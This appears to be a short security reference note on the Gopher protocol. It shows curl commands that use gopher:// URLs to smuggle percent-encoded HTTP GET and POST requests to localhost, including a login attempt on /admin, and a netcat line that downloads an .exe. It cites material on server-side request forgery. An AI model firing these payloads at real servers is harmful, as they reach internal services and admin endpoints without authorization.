Gopher is a communication protocol designed for distributing, searching, and retrieving documents in Internet Protocol networks. The design of the Gopher protocol and user interface is menu-driven, and presented an alternative to the World Wide Web in its early stages. The Gopher ecosystem is often regarded as the effective predecessor of the World Wide Web.
Table of Contents
Gopher requests

NOT TESTED
Older versions of Java allow arbitrary data to be sent over TCP via
gopher://…
- host: any host
- port: any TCP port
- type: single digit integer, see Gopher (protocol) (Wikipedia)
- request: request can be any binary data, percent-encoded
gopher://{host}:{port}/{type}{request}
GET request
curl 'gopher://localhost:80/_GET%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A'
POST request
curl 'gopher://127.0.0.1:80/_POST%20/admin%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2029%0D%0A%0D%0Ausername%3Dadmin%26password%3Dadmin%0D%0A'
Download content using Netcat
echo jacks/jack.exe | nc gopher.example.org 70 > jack.exe
Reference
- Gopher (protocol) (Wikipedia)
- SSRF (Server Side Request Forgery) (HackTricks)
- RFC 1436: The Internet Gopher Protocol (a distributed document search and retrieval protocol) (RFC Editor)
